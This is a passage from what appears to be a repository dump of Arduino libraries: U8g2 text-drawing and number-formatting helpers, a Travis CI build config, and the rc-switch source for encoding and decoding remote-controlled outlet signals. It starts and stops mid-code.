strng has line_idx = 0 Example: Returns "xyz" for line_idx = 1 with str = "abc\nxyz" Support both UTF8 and normal strings. */ const char *u8x8_GetStringLineStart(uint8_t line_idx, const char *str ) { char e; uint8_t line_cnt = 1; if ( line_idx == 0 ) return str; for(;;) { e = *str; if ( e == '\0' ) break; str++; if ( e == '\n' ) { if ( line_cnt == line_idx ) return str; line_cnt++; } } return NULL; /* line not found */ } /* copy until first '\n' or '\0' in str */ /* Important: There is no string overflow check, ensure */ /* that the destination buffer is large enough */ void u8x8_CopyStringLine(char *dest, uint8_t line_idx, const char *str) { if ( dest == NULL ) return; str = u8x8_GetStringLineStart( line_idx, str ); if ( str != NULL ) { for(;;) { if ( *str == '\n' || *str == '\0' ) break; *dest = *str; dest++; str++; } } *dest = '\0'; } /* Draw a string Extend the string to size "w" Center the string within "w" return the size of the string */ uint8_t u8x8_DrawUTF8Line(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t w, const char *s) { uint8_t d, lw; uint8_t cx, dx; d = 0; lw = u8x8_GetUTF8Len(u8x8, s); if ( lw < w ) { d = w; d -=lw; d /= 2; } cx = x; dx = cx + d; while( cx < dx ) { u8x8_DrawUTF8(u8x8, cx, y, " "); cx++; } cx += u8x8_DrawUTF8(u8x8, cx, y, s); dx = x + w; while( cx < dx ) { u8x8_DrawUTF8(u8x8, cx, y, " "); cx++; } cx -= x; return cx; } /* draw several lines at position x,y. lines are stored in s and must be separated with '\n'. lines can be centered with respect to "w" if s == NULL nothing is drawn and 0 is returned returns the number of lines in s */ uint8_t u8x8_DrawUTF8Lines(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t w, const char *s) { uint8_t i; uint8_t cnt; cnt = u8x8_GetStringLineCnt(s); for( i = 0; i < cnt; i++ ) { u8x8_DrawUTF8Line(u8x8, x, y, w, u8x8_GetStringLineStart(i, s)); y++; } return cnt; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_u16toa.c ================================================ /* u8x8_u16toa.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" const char *u8x8_u16toap(char * dest, uint16_t v) { uint8_t pos; uint8_t d; uint16_t c; c = 10000; for( pos = 0; pos < 5; pos++ ) { d = '0'; while( v >= c ) { v -= c; d++; } dest[pos] = d; c /= 10; } dest[5] = '\0'; return dest; } /* v = value, d = number of digits */ const char *u8x8_u16toa(uint16_t v, uint8_t d) { static char buf[6]; d = 5-d; return u8x8_u16toap(buf, v) + d; } const char *u8x8_utoa(uint16_t v) { const char *s = u8x8_u16toa(v, 5); while( *s == '0' ) s++; if ( *s == '\0' ) s--; return s; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_u8toa.c ================================================ /* u8x8_u8toa.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const unsigned char u8x8_u8toa_tab[3] = { 100, 10, 1 } ; const char *u8x8_u8toap(char * dest, uint8_t v) { uint8_t pos; uint8_t d; uint8_t c; for( pos = 0; pos < 3; pos++ ) { d = '0'; c = *(u8x8_u8toa_tab+pos); while( v >= c ) { v -= c; d++; } dest[pos] = d; } dest[3] = '\0'; return dest; } /* v = value, d = number of digits */ const char *u8x8_u8toa(uint8_t v, uint8_t d) { static char buf[4]; d = 3-d; return u8x8_u8toap(buf, v) + d; } ================================================ FILE: Bibliotecas/rc-switch-master/.gitignore ================================================ # Mac stuff .DS_Store # Compiled Object files *.slo *.lo *.o # Compiled Dynamic libraries *.so *.dylib # Compiled Static libraries *.lai *.la *.a ================================================ FILE: Bibliotecas/rc-switch-master/.travis.yml ================================================ language: c python: - "2.7" # Cache PlatformIO packages using Travis CI container-based infrastructure cache: pip: true directories: - "~/.platformio" env: - > PLATFORMIO_CI_SRC=$PWD/examples/Webserver ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/Webserver.ino BOARDS="--board=diecimilaatmega328 --board=uno --board=esp01" - > PLATFORMIO_CI_SRC=$PWD/examples/ReceiveDemo_Simple ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/ReceiveDemo_Simple.ino BOARDS="--board=diecimilaatmega328 --board=uno --board=esp01" - > PLATFORMIO_CI_SRC=$PWD/examples/TypeC_Intertechno ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/TypeC_Intertechno.ino BOARDS="--board=diecimilaatmega328 --board=uno --board=esp01 --board=attiny25 --board=attiny24" - > PLATFORMIO_CI_SRC=$PWD/examples/TypeD_REV ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/TypeD_REV.ino BOARDS="--board=diecimilaatmega328 --board=uno --board=esp01 --board=attiny25 --board=attiny24" - > PLATFORMIO_CI_SRC=$PWD/examples/TypeA_WithDIPSwitches ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/TypeA_WithDIPSwitches.ino BOARDS="--board=diecimilaatmega328 --board=uno --board=esp01 --board=attiny25 --board=attiny24" - > PLATFORMIO_CI_SRC=$PWD/examples/TypeA_WithDIPSwitches_Lightweight ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/TypeA_WithDIPSwitches_Lightweight.ino BOARDS="--board=diecimilaatmega328 --board=uno --board=esp01 --board=attiny25 --board=attiny24" - > PLATFORMIO_CI_SRC=$PWD/examples/TypeB_WithRotaryOrSlidingSwitches ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/TypeB_WithRotaryOrSlidingSwitches.ino BOARDS="--board=diecimilaatmega328 --board=uno --board=esp01 --board=attiny25 --board=attiny24" - > PLATFORMIO_CI_SRC=$PWD/examples/SendDemo ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/SendDemo.ino BOARDS="--board=diecimilaatmega328 --board=uno --board=esp01" - > PLATFORMIO_CI_SRC=$PWD/examples/ReceiveDemo_Advanced ARDUINOIDE_CI_SRC=$PLATFORMIO_CI_SRC/ReceiveDemo_Advanced.ino BOARDS="--board=diecimilaatmega328 --board=uno --board=esp01" before_install: # Arduino IDE - "/sbin/start-stop-daemon --start --quiet --pidfile /tmp/custom_xvfb_1.pid --make-pidfile --background --exec /usr/bin/Xvfb -- :1 -ac -screen 0 1280x1024x16" - sleep 3 - export DISPLAY=:1.0 - wget http://downloads.arduino.cc/arduino-1.6.9-linux64.tar.xz - tar xf arduino-1.6.9-linux64.tar.xz - sudo mv arduino-1.6.9 /usr/local/share/arduino - sudo ln -s /usr/local/share/arduino/arduino /usr/local/bin/arduino install: # Arduino IDE - ln -s $PWD /usr/local/share/arduino/libraries/rc-switch # PlatformIO - sudo pip install -U platformio script: # Arduino IDE - arduino --verify --board arduino:avr:uno ${ARDUINOIDE_CI_SRC} # PlatformIO - platformio ci --lib="." ${BOARDS} ================================================ FILE: Bibliotecas/rc-switch-master/RCSwitch.cpp ================================================ /* RCSwitch - Arduino libary for remote control outlet switches Copyright (c) 2011 Suat Özgür. All right reserved. Contributors: - Andre Koehler / info(at)tomate-online(dot)de - Gordeev Andrey Vladimirovich / gordeev(at)openpyro(dot)com - Skineffect / http://forum.ardumote.com/viewtopic.php?f=2&t=46 - Dominik Fischer / dom_fischer(at)web(dot)de - Frank Oltmanns / .(at)gmail(dot)com - Andreas Steinel / A.(at)gmail(dot)com - Max Horn / max(at)quendi(dot)de - Robert ter Vehn / .(at)gmail(dot)com - Johann Richard / .(at)gmail(dot)com - Vlad Gheorghe / .(at)gmail(dot)com https://github.com/vgheo - Martin Laclaustra / .(at)gmail(dot)com Project home: https://github.com/sui77/rc-switch/ This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "RCSwitch.h" #ifdef RaspberryPi // PROGMEM and _P functions are for AVR based microprocessors, // so we must normalize these for the ARM processor: #define PROGMEM #define memcpy_P(dest, src, num) memcpy((dest), (src), (num)) #endif #ifdef ESP8266 // interrupt handler and related code must be in RAM on ESP8266, // according to issue #46. #define RECEIVE_ATTR ICACHE_RAM_ATTR #else #define RECEIVE_ATTR #endif /* Format for protocol definitions: * {pulselength, Sync bit, "0" bit, "1" bit} * * pulselength: pulse length in microseconds, e.g. 350 * Sync bit: {1, 31} means 1 high pulse and 31 low pulses * (perceived as a 31*pulselength long pulse, total length of sync bit is * 32*pulselength microseconds), i.e: * _ * | |_______________________________ (don't count the vertical bars) * "0" bit: waveform for a data bit of value "0", {1, 3} means 1 high pulse * and 3 low pulses, total length (1+3)*pulselength, i.e: * _ * | |___ * "1" bit: waveform for a data bit of value "1", e.g. {3,1}: * ___ * | |_ * * These are combined to form Tri-State bits when sending or receiving codes. */ #ifdef ESP8266 static const RCSwitch::Protocol proto[] = { #else static const RCSwitch::Protocol PROGMEM proto[] = { #endif { 350, { 1, 31 }, { 1, 3 }, { 3, 1 }, false }, // protocol 1 { 650, { 1, 10 }, { 1, 2 }, { 2, 1 }, false }, // protocol 2 { 100, { 30, 71 }, { 4, 11 }, { 9, 6 }, false }, // protocol 3 { 380, { 1, 6 }, { 1, 3 }, { 3, 1 }, false }, // protocol 4 { 500, { 6, 14 }, { 1, 2 }, { 2, 1 }, false }, // protocol 5 { 450, { 23, 1 }, { 1, 2 }, { 2, 1 }, true } // protocol 6 (HT6P20B) }; enum { numProto = sizeof(proto) / sizeof(proto[0]) }; #if not defined( RCSwitchDisableReceiving ) volatile unsigned long RCSwitch::nReceivedValue = 0; volatile unsigned int RCSwitch::nReceivedBitlength = 0; volatile unsigned int RCSwitch::nReceivedDelay = 0; volatile unsigned int RCSwitch::nReceivedProtocol = 0; bool RCSwitch::nReceivedInverted = false; unsigned int RCSwitch::nReceivedLevelInFirstTiming = 0; int RCSwitch::nReceiveTolerance = 60; const unsigned int RCSwitch::nSeparationLimit = 2200; // separationLimit: minimum microseconds the first long part of the sync bit lasts. // set to 110% the longest bit duration known so far. // protocol 2: (650 * (1 + 2))=1950 ... x 110% ... ~ 2200 // with this limit, in protocols 5 and 6, the high part of the sync bit will be recognized // as timing 0 which causes problems in timing 1 and in decoding interpretation unsigned int RCSwitch::firstperiodlevel; unsigned int RCSwitch::timings[RCSWITCH_MAX_CHANGES]; int RCSwitch::nStaticReceiverPin; // needed because nReceiverInterrupt (receiver pin) can not be read from handleInterrupt because it is static #endif RCSwitch::RCSwitch() { this->nTransmitterPin = -1; this->setRepeatTransmit(10); this->setProtocol(1); #if not defined( RCSwitchDisableReceiving ) this->nReceiverInterrupt = -1; this->setReceiveTolerance(60); RCSwitch::nReceivedValue = 0; #endif } /** * Sets the protocol to send. */ void RCSwitch::setProtocol(Protocol protocol) { this->protocol = protocol; } /** * Sets the protocol to send, from a list of predefined protocols */ void RCSwitch::setProtocol(int nProtocol) { if (nProtocol < 1 || nProtocol > numProto) { nProtocol = 1; // TODO: trigger an error, e.g. "bad protocol" ??? } #ifdef ESP8266 this->protocol = proto[nProtocol-1]; #else memcpy_P(&this->protocol, &proto[nProtocol-1], sizeof(Protocol)); #endif } /** * Sets the protocol to send with pulse length in microseconds. */ void RCSwitch::setProtocol(int nProtocol, int nPulseLength) { setProtocol(nProtocol); this->setPulseLength(nPulseLength); } /** * Sets pulse length in microseconds */ void RCSwitch::setPulseLength(int nPulseLength) { this->protocol.pulseLength = nPulseLength; } /** * Sets Repeat Transmits */ void RCSwitch::setRepeatTransmit(int nRepeatTransmit) { this->nRepeatTransmit = nRepeatTransmit; } /** * Set Receiving Tolerance */ #if not defined( RCSwitchDisableReceiving ) void RCSwitch::setReceiveTolerance(int nPercent) { RCSwitch::nReceiveTolerance = nPercent; } #endif /** * Enable transmissions * * @param nTransmitterPin Arduino Pin to which the sender is connected to */ void RCSwitch::enableTransmit(int nTransmitterPin) { this->nTransmitterPin = nTransmitterPin; pinMode(this->nTransmitterPin, OUTPUT); } /** * Disable transmissions */ void RCSwitch::disableTransmit() { this->nTransmitterPin = -1; } /** * Switch a remote switch on (Type D REV) * * @param sGroup Code of the switch group (A,B,C,D) * @param nDevice Number of the switch itself (1..3) */ void RCSwitch::switchOn(char sGroup, int nDevice) { this->sendTriState( this->getCodeWordD(sGroup, nDevice, true) ); } /** * Switch a remote switch off (Type D REV) * * @param sGroup Code of the switch group (A,B,C,D) * @param nDevice Number of the switch itself (1..3) */ void RCSwitch::switchOff(char sGroup, int nDevice) { this->sendTriState( this->getCodeWordD(sGroup, nDevice, false) ); } /** * Switch a remote switch on (Type C Intertechno) * * @param sFamily Familycode (a..f) * @param nGroup Number of group (1..4) * @param nDevice Number of device (1..4) */ void RCSwitch::switchOn(char sFamily, int nGroup, int nDevice) { this->sendTriState( this->getCodeWordC(sFamily, nGroup, nDevice, true) ); } /** * Switch a remote switch off (Type C Intertechno) * * @param sFamily Familycode (a..f) * @param nGroup Number of group (1..4) * @param nDevice Number of device (1..4) */ void RCSwitch::switchOff(char sFamily, int nGroup, int nDevice) { this->sendTriState( this->getCodeWordC(sFamily, nGroup, nDevice, false) ); } /** * Switch a remote switch on (Type B with two rotary/sliding switches) * * @param nAddressCode Number of the switch group (1..4) * @param nChannelCode Number of the switch itself (1..4) */ void RCSwitch::switchOn(int nAddressCode, int nChannelCode) { this->sendTriState( this->getCodeWordB(nAddressCode, nChannelCode, true) ); } /** * Switch a remote switch off (Type B with two rotary/sliding switches) * * @param nAddressCode Number of the switch group (1..4) * @param nChannelCode Number of the switch itself (1..4) */ void RCSwitch::switchOff(int nAddressCode, int nChannelCode) { this->sendTriState( this->getCodeWordB(nAddressCode, nChannelCode, false) ); } /** * Deprecated, use switchOn(const char* sGroup, const char* sDevice) instead! * Switch a remote switch on (Type A with 10 pole DIP switches) * * @param sGroup Code of the switch group (refers to DIP switches 1..5 where "1" = on and "0" = off, if all DIP switches are on it's "11111") * @param nChannelCode Number of the switch itself (1..5) */ void RCSwitch::switchOn(const char* sGroup, int nChannel) { const char* code[6] = { "00000", "10000", "01000", "00100", "00010", "00001" }; this->switchOn(sGroup, code[nChannel]); } /** * Deprecated, use switchOff(const char* sGroup, const char* sDevice) instead! * Switch a remote switch off (Type A with 10 pole DIP switches) * * @param sGroup Code of the switch group (refers to DIP switches 1..5 where "1" = on and "0" = off, if all DIP switches are on it's "11111") * @param nChannelCode Number of the switch itself (1..5) */ void RCSwitch::switchOff(const char* sGroup, int nChannel) { const char* code[6] = { "00000", "10000", "01000", "00100", "00010", "00001" }; this->switchOff(sGroup, code[nChannel]); } /** * Switch a remote switch on (Type A with 10 pole DIP switches) * * @param sGroup Code of the switch group (refers to DIP switches 1..5 where "1" = on and "0" = off, if all DIP switches are on it's "11111") * @param sDevice Code of the switch device (refers to DIP switches 6..10 (A..E) where "1" = on and "0" = off, if all DIP switches are on it's "11111") */ void RCSwitch::switchOn(const char* sGroup, const char* sDevice) { this->sendTriState( this->getCodeWordA(sGroup, sDevice, true) ); } /** * Switch a remote switch off (Type A with 10 pole DIP switches) * * @param sGroup Code of the switch group (refers to DIP switches 1..5 where "1" = on and "0" = off, if all DIP switches are on it's "11111") * @param sDevice Code of the switch device (refers to DIP switches 6..10 (A..E) where "1" = on and "0" = off, if all DIP switches are on it's "11111") */ void RCSwitch::switchOff(const char* sGroup, const char* sDevice) { this->sendTriState( this->getCodeWordA(sGroup, sDevice, false) ); } /** * Returns a char[13], representing the code word to be send. * */ char* RCSwitch::getCodeWordA(const char* sGroup, const char* sDevice, bool bStatus) { static char sReturn[13]; int nReturnPos = 0; for (int i = 0; i < 5; i++) { sReturn[nReturnPos++] = (sGroup[i] == '0') ? 'F' : '0'; } for (int i = 0; i < 5; i++) { sReturn[nReturnPos++] = (sDevice[i] == '0') ? 'F' : '0'; } sReturn[nReturnPos++] = bStatus ? '0' : 'F'; sReturn[nReturnPos++] = bStatus ? 'F' : '0'; sReturn[nReturnPos] = '\0'; return sReturn; } /** * Encoding for type B switches with two rotary/sliding switches. * * The code word is a tristate word and with following bit pattern: * * +-----------------------------+-----------------------------+----------+------------+ * | 4 bits address | 4 bits address | 3 bits | 1 bit | * | switch group | switch number | not used | on / off | * | 1=0FFF 2=F0FF 3=FF0F 4=FFF0 | 1=0FFF 2=F0FF 3=FF0F 4=FFF0 | FFF | on=F off=0 | * +-----------------------------+-----------------------------+----------+------------+ * * @param nAddressCode Number of the switch group (1..4) * @param nChannelCode Number of the switch itself (1..4) * @param bStatus Whether to switch on (true) or off (false) * * @return char[13], representing a tristate code word of length 12 */ char* RCSwitch::getCodeWordB(int nAddressCode, int nChannelCode, bool bStatus) { static char sReturn[13]; int nReturnPos = 0; if (nAddressCode < 1 || nAddressCode > 4 || nChannelCode < 1 || nChannelCode > 4) { return 0; } for (int i = 1; i <= 4; i++) { sReturn[nReturnPos++] = (nAddressCode == i) ? '0' : 'F'; } for (int i = 1; i <= 4; i++) { sReturn[nReturnPos++] = (nChannelCode == i) ? '0' : 'F'; } sReturn[nReturnPos++] = 'F'; sReturn[nReturnPos++] = 'F'; sReturn[nReturnPos++] = 'F'; sReturn[nReturnPos++] = bStatus ? 'F' : '0'; sReturn[nReturnPos] = '\0'; return sReturn; } /** * Like getCodeWord (Type C = Intertechno) */ char* RCSwitch::getCodeWordC(char sFamily, int nGroup, int nDevice, bool bStatus) { static char sReturn[13]; int nReturnPos = 0; int nFamily = (int)sFamily - 'a'; if ( nFamily < 0 || nFamily > 15 || nGroup < 1 || nGroup > 4 || nDevice < 1 || nDevice > 4) { return 0; } // encode the family into four bits sReturn[nReturnPos++] = (nFamily & 1) ? 'F' : '0'; sReturn[nReturnPos++] = (nFamily & 2) ? 'F' : '0'; sReturn[nReturnPos++] = (nFamily & 4) ? 'F' : '0'; sReturn[nReturnPos++] = (nFamily & 8) ? 'F' : '0'; // encode the device and group sReturn[nReturnPos++] = ((nDevice-1) & 1) ? 'F' : '0'; sReturn[nReturnPos++] = ((nDevice-1) & 2) ? 'F' : '0'; sReturn[nReturnPos++] = ((nGroup-1) & 1) ? 'F' : '0'; sReturn[nReturnPos++] = ((nGroup-1) & 2) ? 'F' : '0'; // encode the status code sReturn[nReturnPos++] = '0'; sReturn[nReturnPos++] = 'F'; sReturn[nReturnPos++] = 'F'; sReturn[nReturnPos++] = bStatus ? 'F' : '0'; sReturn[nReturnPos] = '\0'; return sReturn; } /** * Encoding for the REV Switch Type * * The code word is a tristate word and with following bit pattern: * * +-----------------------------+-------------------+----------+--------------+ * | 4 bits address | 3 bits address | 3 bits | 2 bits | * | switch group | device number | not used | on / off | * | A=1FFF B=F1FF C=FF1F D=FFF1 | 1=0FF 2=F0F 3=FF0 | 000 | on=10 off=01 | * +-----------------------------+-------------------+----------+--------------+ * * Source: http://www.the-intruder.net/funksteckdosen-von-rev-uber-arduino-ansteuern/ * * @param sGroup Name of the switch group (A..D, resp. a..d) * @param nDevice Number of the switch itself (1..3) * @param bStatus Whether to switch on (true) or off (false) * * @return char[13], representing a tristate code word of length 12 */ char* RCSwitch::getCodeWordD(char sGroup, int nDevice, bool bStatus) { static char sReturn[13]; int nReturnPos = 0; // sGroup must be one of the letters in "abcdABCD" int nGroup = (sGroup >= 'a') ? (int)sGroup - 'a' : (int)sGroup - 'A'; if ( nGroup < 0 || nGroup > 3 || nDevice < 1 || nDevice > 3) { return 0; } for (int i = 0; i < 4; i++) { sReturn[nReturnPos++] = (nGroup == i) ? '1' : 'F'; } for (int i = 1; i <= 3; i++) { sReturn[nReturnPos++] = (nDevice == i) ? '1' : 'F'; } sReturn[nReturnPos++] = '0'; sReturn[nReturnPos++] = '0'; sReturn[nReturnPos++] = '0'; sReturn[nReturnPos++] = bStatus ? '1' : '0'; sReturn[nReturnPos++] = bStatus ? '0' : '1'; sReturn[nReturnPos] = '\0'; return sReturn; } /** * @param sCodeWord a tristate code word consisting of the letter 0, 1, F */ void RCSwitch::sendTriState(const char* sCodeWord) { // turn the tristate code word into the corresponding bit pattern, then send it unsigned long code = 0; unsigned int length = 0; for (const char* p = sCodeWord; *p; p++) { code <<= 2L; switch (*p) { case '0': // bit pattern 00 break; case 'F': // bit pattern 01 code |= 1L; break; case '1': // bit pattern 11 code |= 3L; break; } length += 2; } this->send(code, length); } /** * @param sCodeWord a binary code word consisting of the letter 0, 1 */ void RCSwitch::send(const char* sCodeWord) { // turn the tristate code word into the corresponding bit pattern, then send it unsigned long code = 0; unsigned int length = 0; for (const char* p = sCodeWord; *p; p++) { code <<= 1L; if (*p != '0') code |= 1L; length++; } this->send(code, length); } /** * Transmit the first 'length' bits of the integer 'code'. The * bits are sent from MSB to LSB, i.e., first the bit at position length-1, * then the bit at position length-2, and so on, till finally the bit at position 0. */ void RCSwitch::send(unsigned long code, unsigned int length) { if (this->nTransmitterPin == -1) return; #if not defined( RCSwitchDisableReceiving ) // make sure the receiver is disabled while we transmit int nReceiverInterrupt_backup = nReceiverInterrupt; if (nReceiverInterrupt_backup != -1) { this->disableReceive(); } #endif for (int nRepeat = 0; nRepeat < nRepeatTransmit; nRepeat++) { for (int i = length-1; i >= 0; i--) { if (code & (1L << i)) this->transmit(protocol.one); else this->transmit(protocol.zero); } this->transmit(protocol.syncFactor); } #if not defined( RCSwitchDisableReceiving ) // enable receiver again if we just disabled it if (nReceiverInterrupt_backup != -1) { this->enableReceive(nReceiverInterrupt_backup); } #endif } /** * Transmit a single high-low pulse. */ void RCSwitch::transmit(HighLow pulses) { uint8_t firstLogicLevel = (this->protocol.invertedSignal) ? LOW : HIGH; uint8_t secondLogicLevel = (this->protocol.invertedSignal) ? HIGH : LOW; digitalWrite(this->nTransmitterPin, firstLogicLevel); delayMicroseconds( this->protocol.pulseLength * pulses.high); digitalWrite(this->nTransmitterPin, secondLogicLevel); delayMicroseconds( this->protocol.pulseLength * pulses.low); } #if not defined( RCSwitchDisableReceiving ) /** * Enable receiving data */ void RCSwitch::enableReceive(int interrupt) { #ifdef RaspberryPi int receiverpin = interrupt; #else // learn which digital pin corresponds to that interrupt int receiverpin = -1; for(int i = 0; i < 40; i++) { if (digitalPinToInterrupt(i) == interrupt) { receiverpin = i; break; } } #endif this->nReceiverInterrupt = interrupt; RCSwitch::nStaticReceiverPin = receiverpin; this->enableReceive(); } void RCSwitch::enableReceive() { if (this->nReceiverInterrupt != -1) { RCSwitch::nReceivedValue = 0; RCSwitch::nReceivedBitlength = 0; #if defined(RaspberryPi) // Raspberry Pi wiringPiISR(this->nReceiverInterrupt, INT_EDGE_BOTH, &handleInterrupt); #else // Arduino attachInterrupt(this->nReceiverInterrupt, handleInterrupt, CHANGE); #endif } } /** * Disable receiving data */ void RCSwitch::disableReceive() { #if not defined(RaspberryPi) // Arduino detachInterrupt(this->nReceiverInterrupt); #endif // For Raspberry Pi (wiringPi) you can't unregister the ISR this->nReceiverInterrupt = -1; } bool RCSwitch::available() { return RCSwitch::nReceivedValue != 0; } void RCSwitch::resetAvailable() { RCSwitch::nReceivedValue = 0; } unsigned long RCSwitch::getReceivedValue() { return RCSwitch::nReceivedValue; } unsigned int RCSwitch::getReceivedBitlength() { return RCSwitch::nReceivedBitlength; } unsigned int RCSwitch::getReceivedDelay() { return RCSwitch::nReceivedDelay; } unsigned int RCSwitch::getReceivedProtocol() { return RCSwitch::nReceivedProtocol; } unsigned int* RCSwitch::getReceivedRawdata() { return RCSwitch::timings; } bool RCSwitch::getReceivedInverted() { return RCSwitch::nReceivedInverted; } unsigned int RCSwitch::getReceivedLevelInFirstTiming() { return RCSwitch::nReceivedLevelInFirstTiming; } /* helper function for the receiveProtocol method */ static inline unsigned int diff(int A, int B) { return abs(A - B); } /** * */ bool RECEIVE_ATTR RCSwitch::receiveProtocol(const int p, unsigned int changeCount) { int finalp = 0; // no protocol recognized unsigned int tmpfirstperiodlevel = RCSwitch::firstperiodlevel; // store it before it is overwritten // ignore very short transmissions: no device sends them, so this must be noise if (changeCount < 8) return false; // also ensure avoiding 0 division later // changeCount is the number of stored durations // timings positions span from 0 ... (changeCount - 1) // // non-inverted protocols with recorded... // signals starting low: data bits timings from positions 1 ... (changeCount - 2) // sync bit timings[changeCount - 1], timings[0] // non-inverted protocols with recorded... // signals starting high: data bits timings from positions 2 ... (changeCount - 1) // sync bit timings[0], timings[1] // This version takes into account both options by advancing 1 position for the later // // inverted protocols with recorded... // signals starting low: data bits timings from positions 2 ... (changeCount - 1) // sync bit timings[changeCount - 1], timings[0] // inverted protocols with recorded... // signals starting high: data bits timings from positions 1 ... (changeCount - 2) // sync bit timings[0], timings[1] // This version stores an alternate phase for decoding to cope with inverted protocols unsigned int numberofdatabits = (changeCount - 2) / 2; unsigned int dataduration = 0; unsigned long squareddataduration = 0; // preparation for variance calculation unsigned long code = 0; unsigned int delay = 0; // all appearances of delay can be removed if, in future versions, it is decided to drop backwards compatibility unsigned int alternatedataduration = 0; unsigned long alternatesquareddataduration = 0; // preparation for variance calculation unsigned long alternatecode = 0; unsigned int alternatedelay = 0; // all appearances of delay can be removed if, in future versions, it is decided to drop backwards compatibility // calculate average of data bits duration // calculate variance of data bits duration // decode bit sequence, // get delay as average of the shorter level timings (for backwards compatibility) // calculate for alternate positions (shifted one timing) as well for (unsigned int i = 1; i < changeCount - 2; i += 2) { unsigned int thisbitDuration = RCSwitch::timings[i]+RCSwitch::timings[i + 1]; dataduration += thisbitDuration; squareddataduration += (unsigned long)thisbitDuration*(unsigned long)thisbitDuration; code <<= 1; if (RCSwitch::timings[i] < RCSwitch::timings[i + 1]) { // zero // sum accumulated duration of shorter level timings delay += RCSwitch::timings[i]; // all appearances of delay can be removed if dropping backwards compatibility } else { // one code |= 1; // sum accumulated duration of shorter level timings delay += RCSwitch::timings[i + 1]; // all appearances of delay can be removed if dropping backwards compatibility } // for inverted protocols - timings are shifted unsigned int alternatebitDuration = RCSwitch::timings[i + 1]+RCSwitch::timings[i + 2]; alternatedataduration += alternatebitDuration; alternatesquareddataduration += (unsigned long)alternatebitDuration*(unsigned long)alternatebitDuration; alternatecode <<= 1; if (RCSwitch::timings[i + 1] < RCSwitch::timings[i + 2]) { // zero // sum accumulated duration of shorter level timings alternatedelay += RCSwitch::timings[i + 1]; // all appearances of delay can be removed if dropping backwards compatibility } else { // one alternatecode |= 1; // sum accumulated duration of shorter level timings alternatedelay += RCSwitch::timings[i + 2]; // all appearances of delay can be removed if dropping backwards compatibility } } unsigned long variancebitduration = (squareddataduration - (unsigned long)dataduration*(unsigned long)dataduration/numberofdatabits)/(numberofdatabits-1); unsigned long alternatevariancebitduration = (alternatesquareddataduration - (unsigned long)alternatedataduration*(unsigned long)alternatedataduration/numberofdatabits)/(numberofdatabits-1); // decide whether databits are represented by timings 1+2 or 2+3 bool databitsstartinone = variancebitduration < alternatevariancebitduration; // Value true when NOT INVERTED // PITFALL: occasionally (depending on the combination of bits) an inverted signal could be identified as direct signal unsigned int averagebitduration = 0; unsigned long squaredaveragebitduration = 0; 